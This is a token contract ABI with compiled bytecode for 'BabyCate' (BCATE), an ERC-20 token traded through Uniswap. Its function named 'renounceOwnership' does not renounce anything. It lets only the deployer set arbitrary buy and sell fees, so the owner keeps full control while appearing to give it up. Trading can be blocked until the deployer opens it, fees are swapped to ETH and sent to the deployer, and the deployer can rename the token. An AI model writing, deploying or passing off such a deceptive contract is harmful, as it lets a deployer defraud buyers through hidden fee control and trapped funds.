[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "Permissions", "type": "error" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "TOKEN_MKT", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": false, "internalType": "string", "name": "newName", "type": "string" }, { "indexed": false, "internalType": "string", "name": "newSymbol", "type": "string" }, { "indexed": false, "internalType": "address", "name": "by", "type": "address" } ], "name": "DataMember", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "_name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" }, { "internalType": "address", "name": "", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "openTrade", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "pair", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint8", "name": "_buy", "type": "uint8" }, { "internalType": "uint8", "name": "_sell", "type": "uint8" } ], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "retrieveData", "outputs": [ { "internalType": "address", "name": "deployer", "type": "address" }, { "internalType": "uint8", "name": "buyFee", "type": "uint8" }, { "internalType": "uint8", "name": "sellFee", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" } ], "name": "returnData", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "from", "type": "address" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "stateMutability": "payable", "type": "receive" } ]
60806040526040518060400160405280600881526020017f42616279436174650000000000000000000000000000000000000000000000008152505f9081610047919061052e565b506040518060400160405280600581526020017f42434154450000000000000000000000000000000000000000000000000000008152506001908161008c919061052e565b50348015610098575f80fd5b505f8060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018360ff1681526020018260ff1681525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151815f0160146101000a81548160ff021916908360ff1602179055506040820151815f0160156101000a81548160ff021916908360ff1602179055509050506012600a6101699190610765565b6402540be40061017991906107af565b60035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6102c89190610765565b6402540be4006102d891906107af565b6040516102e591906107ff565b60405180910390a35050610818565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061036f57607f821691505b6020821081036103825761038161032b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026103e47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826103a9565b6103ee86836103a9565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61043261042d61042884610406565b61040f565b610406565b9050919050565b5f819050919050565b61044b83610418565b61045f61045782610439565b8484546103b5565b825550505050565b5f90565b610473610467565b61047e818484610442565b505050565b5b818110156104a1576104965f8261046b565b600181019050610484565b5050565b601f8211156104e6576104b781610388565b6104c08461039a565b810160208510156104cf578190505b6104e36104db8561039a565b830182610483565b50505b505050565b5f82821c905092915050565b5f6105065f19846008026104eb565b1980831691505092915050565b5f61051e83836104f7565b9150826002028217905092915050565b610537826102f4565b67ffffffffffffffff8111156105505761054f6102fe565b5b61055a8254610358565b6105658282856104a5565b5f60209050601f831160018114610596575f8415610584578287015190505b61058e8582610513565b8655506105f5565b601f1984166105a486610388565b5f5b828110156105cb578489015182556001820191506020850194506020810190506105a6565b868310156105e857848901516105e4601f8916826104f7565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561067f5780860481111561065b5761065a6105fd565b5b600185161561066a5780820291505b80810290506106788561062a565b945061063f565b94509492505050565b5f826106975760019050610752565b816106a4575f9050610752565b81600181146106ba57600281146106c4576106f3565b6001915050610752565b60ff8411156106d6576106d56105fd565b5b8360020a9150848211156106ed576106ec6105fd565b5b50610752565b5060208310610133831016604e8410600b84101617156107285782820a905083811115610723576107226105fd565b5b610752565b6107358484846001610636565b9250905081840481111561074c5761074b6105fd565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61076f82610406565b915061077a83610759565b92506107a77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610688565b905092915050565b5f6107b982610406565b91506107c483610406565b92508282026107d281610406565b915082820484148315176107e9576107e86105fd565b5b5092915050565b6107f981610406565b82525050565b5f6020820190506108125f8301846107f0565b92915050565b611ff0806108255f395ff3fe6080604052600436106100f6575f3560e01c80638d815b6f11610089578063b09f126611610058578063b09f12661461033f578063d28d885214610369578063dd62ed3e14610393578063fb201b1d146103cf576100fd565b80638d815b6f1461028757806395d89b41146102af578063a8aa1b31146102d9578063a9059cbb14610303576100fd565b8063313ce567116100c5578063313ce567146101cd5780634ce6e98e146101f757806351e0556d1461021f57806370a082311461024b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e5565b604051610122919061137e565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c919061143c565b610474565b60405161015e9190611494565b60405180910390f35b348015610172575f80fd5b5061017b610561565b60405161018891906114bc565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b291906114d5565b610582565b6040516101c49190611494565b60405180910390f35b3480156101d8575f80fd5b506101e1610625565b6040516101ee9190611540565b60405180910390f35b348015610202575f80fd5b5061021d60048036038101906102189190611685565b61062a565b005b34801561022a575f80fd5b506102336106e2565b6040516102429392919061170a565b60405180910390f35b348015610256575f80fd5b50610271600480360381019061026c919061173f565b610730565b60405161027e91906114bc565b60405180910390f35b348015610292575f80fd5b506102ad60048036038101906102a89190611794565b610745565b005b3480156102ba575f80fd5b506102c36107bf565b6040516102d0919061137e565b60405180910390f35b3480156102e4575f80fd5b506102ed61084f565b6040516102fa91906117d2565b60405180910390f35b34801561030e575f80fd5b506103296004803603810190610324919061143c565b610874565b6040516103369190611494565b60405180910390f35b34801561034a575f80fd5b50610353610888565b604051610360919061137e565b60405180910390f35b348015610374575f80fd5b5061037d610914565b60405161038a919061137e565b60405180910390f35b34801561039e575f80fd5b506103b960048036038101906103b491906117eb565b61099f565b6040516103c691906114bc565b60405180910390f35b3480156103da575f80fd5b506103e36109bf565b005b60605f80546103f390611856565b80601f016020809104026020016040519081016040528092919081815260200182805461041f90611856565b801561046a5780601f106104415761010080835404028352916020019161046a565b820191905f5260205f20905b81548152906001019060200180831161044d57829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161054f91906114bc565b60405180910390a36001905092915050565b6012600a61056f91906119e2565b6402540be40061057f9190611a2c565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461060a9190611a6d565b9250508190555061061c848484610bfb565b90509392505050565b601281565b60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610684575f80fd5b815f90816106929190611c3d565b5080600190816106a29190611c3d565b507f29b7e87a7524edd9072e87b7f12f040189aa097db0ef8a282b5de1567d93fde08282336040516106d693929190611d0c565b60405180910390a15050565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6003602052805f5260405f205f915090505481565b61074d6112a6565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107b1576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107bb82826112d0565b5050565b6060600180546107ce90611856565b80601f01602080910402602001604051908101604052809291908181526020018280546107fa90611856565b80156108455780601f1061081c57610100808354040283529160200191610845565b820191905f5260205f20905b81548152906001019060200180831161082857829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610880338484610bfb565b905092915050565b6001805461089590611856565b80601f01602080910402602001604051908101604052809291908181526020018280546108c190611856565b801561090c5780601f106108e35761010080835404028352916020019161090c565b820191905f5260205f20905b8154815290600101906020018083116108ef57829003601f168201915b505050505081565b5f805461092090611856565b80601f016020809104026020016040519081016040528092919081815260200182805461094c90611856565b80156109975780601f1061096e57610100808354040283529160200191610997565b820191905f5260205f20905b81548152906001019060200180831161097a57829003601f168201915b505050505081565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b6109c76112a6565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fd575f80fd5b600560159054906101000a900460ff1615610a16575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a74573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a989190611d63565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610af8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1c9190611d63565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b8152600401610b5a929190611d8e565b602060405180830381865afa158015610b75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b999190611d63565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560156101000a81548160ff021916908315150217905550505050565b5f80610c056112a6565b9050600560159054906101000a900460ff1680610c4d57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610c8357508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610c8b575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cd79190611a6d565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d475750600560149054906101000a900460ff16155b8015610db9575060646012600a610d5e91906119e2565b6402540be400610d6e9190611a2c565b610d789190611de2565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610df157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611086576001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610e2d57610e2c611561565b5b604051908082528060200260200182016040528015610e5b5781602001602082028036833780820191505090505b50905030815f81518110610e7257610e71611e12565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f09573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f2d9190611d63565b81600181518110610f4157610f40611e12565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610fbb91906119e2565b6402540be400610fcb9190611a2c565b610fd59190611de2565b5f8430426040518663ffffffff1660e01b8152600401610ff9959493929190611f2f565b5f604051808303815f87803b158015611010575f80fd5b505af1158015611022573d5f803e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611069573d5f803e3d5ffd5b505f600560146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156110ff575060011515600560159054906101000a900460ff161515145b156111e0575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146111615783611163565b825b60ff16876111719190611a2c565b61117b9190611de2565b905080866111899190611a6d565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546111d79190611f87565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461122c9190611f87565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161129091906114bc565b60405180910390a3600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113508261130e565b61135a8185611318565b935061136a818560208601611328565b61137381611336565b840191505092915050565b5f6020820190508181035f8301526113968184611346565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113d8826113af565b9050919050565b6113e8816113ce565b81146113f2575f80fd5b50565b5f81359050611403816113df565b92915050565b5f819050919050565b61141b81611409565b8114611425575f80fd5b50565b5f8135905061143681611412565b92915050565b5f8060408385031215611452576114516113a7565b5b5f61145f858286016113f5565b925050602061147085828601611428565b9150509250929050565b5f8115159050919050565b61148e8161147a565b82525050565b5f6020820190506114a75f830184611485565b92915050565b6114b681611409565b82525050565b5f6020820190506114cf5f8301846114ad565b92915050565b5f805f606084860312156114ec576114eb6113a7565b5b5f6114f9868287016113f5565b935050602061150a868287016113f5565b925050604061151b86828701611428565b9150509250925092565b5f60ff82169050919050565b61153a81611525565b82525050565b5f6020820190506115535f830184611531565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61159782611336565b810181811067ffffffffffffffff821117156115b6576115b5611561565b5b80604052505050565b5f6115c861139e565b90506115d4828261158e565b919050565b5f67ffffffffffffffff8211156115f3576115f2611561565b5b6115fc82611336565b9050602081019050919050565b828183375f83830152505050565b5f611629611624846115d9565b6115bf565b9050828152602081018484840111156116455761164461155d565b5b611650848285611609565b509392505050565b5f82601f83011261166c5761166b611559565b5b813561167c848260208601611617565b91505092915050565b5f806040838503121561169b5761169a6113a7565b5b5f83013567ffffffffffffffff8111156116b8576116b76113ab565b5b6116c485828601611658565b925050602083013567ffffffffffffffff8111156116e5576116e46113ab565b5b6116f185828601611658565b9150509250929050565b611704816113ce565b82525050565b5f60608201905061171d5f8301866116fb565b61172a6020830185611531565b6117376040830184611531565b949350505050565b5f60208284031215611754576117536113a7565b5b5f611761848285016113f5565b91505092915050565b61177381611525565b811461177d575f80fd5b50565b5f8135905061178e8161176a565b92915050565b5f80604083850312156117aa576117a96113a7565b5b5f6117b785828601611780565b92505060206117c885828601611780565b9150509250929050565b5f6020820190506117e55f8301846116fb565b92915050565b5f8060408385031215611801576118006113a7565b5b5f61180e858286016113f5565b925050602061181f858286016113f5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061186d57607f821691505b6020821081036118805761187f611829565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611908578086048111156118e4576118e3611886565b5b60018516156118f35780820291505b8081029050611901856118b3565b94506118c8565b94509492505050565b5f8261192057600190506119db565b8161192d575f90506119db565b8160018114611943576002811461194d5761197c565b60019150506119db565b60ff84111561195f5761195e611886565b5b8360020a91508482111561197657611975611886565b5b506119db565b5060208310610133831016604e8410600b84101617156119b15782820a9050838111156119ac576119ab611886565b5b6119db565b6119be84848460016118bf565b925090508184048111156119d5576119d4611886565b5b81810290505b9392505050565b5f6119ec82611409565b91506119f783611525565b9250611a247fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611911565b905092915050565b5f611a3682611409565b9150611a4183611409565b9250828202611a4f81611409565b91508282048414831517611a6657611a65611886565b5b5092915050565b5f611a7782611409565b9150611a8283611409565b9250828203905081811115611a9a57611a99611886565b5b92915050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302611afc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82611ac1565b611b068683611ac1565b95508019841693508086168417925050509392505050565b5f819050919050565b5f611b41611b3c611b3784611409565b611b1e565b611409565b9050919050565b5f819050919050565b611b5a83611b27565b611b6e611b6682611b48565b848454611acd565b825550505050565b5f90565b611b82611b76565b611b8d818484611b51565b505050565b5b81811015611bb057611ba55f82611b7a565b600181019050611b93565b5050565b601f821115611bf557611bc681611aa0565b611bcf84611ab2565b81016020851015611bde578190505b611bf2611bea85611ab2565b830182611b92565b50505b505050565b5f82821c905092915050565b5f611c155f1984600802611bfa565b1980831691505092915050565b5f611c2d8383611c06565b9150826002028217905092915050565b611c468261130e565b67ffffffffffffffff811115611c5f57611c5e611561565b5b611c698254611856565b611c74828285611bb4565b5f60209050601f831160018114611ca5575f8415611c93578287015190505b611c9d8582611c22565b865550611d04565b601f198416611cb386611aa0565b5f5b82811015611cda57848901518255600182019150602085019450602081019050611cb5565b86831015611cf75784890151611cf3601f891682611c06565b8355505b6001600288020188555050505b505050505050565b5f6060820190508181035f830152611d248186611346565b90508181036020830152611d388185611346565b9050611d4760408301846116fb565b949350505050565b5f81519050611d5d816113df565b92915050565b5f60208284031215611d7857611d776113a7565b5b5f611d8584828501611d4f565b91505092915050565b5f604082019050611da15f8301856116fb565b611dae60208301846116fb565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611dec82611409565b9150611df783611409565b925082611e0757611e06611db5565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f611e62611e5d611e5884611e3f565b611b1e565b611409565b9050919050565b611e7281611e48565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611eaa816113ce565b82525050565b5f611ebb8383611ea1565b60208301905092915050565b5f602082019050919050565b5f611edd82611e78565b611ee78185611e82565b9350611ef283611e92565b805f5b83811015611f22578151611f098882611eb0565b9750611f1483611ec7565b925050600181019050611ef5565b5085935050505092915050565b5f60a082019050611f425f8301886114ad565b611f4f6020830187611e69565b8181036040830152611f618186611ed3565b9050611f7060608301856116fb565b611f7d60808301846114ad565b9695505050505050565b5f611f9182611409565b9150611f9c83611409565b9250828201905080821115611fb457611fb3611886565b5b9291505056fea26469706673582212203e1fbb0c81b91c2ca1e3b8d9fb155e793f2554f6325826bea2e3afe334c6073d64736f6c634300081a0033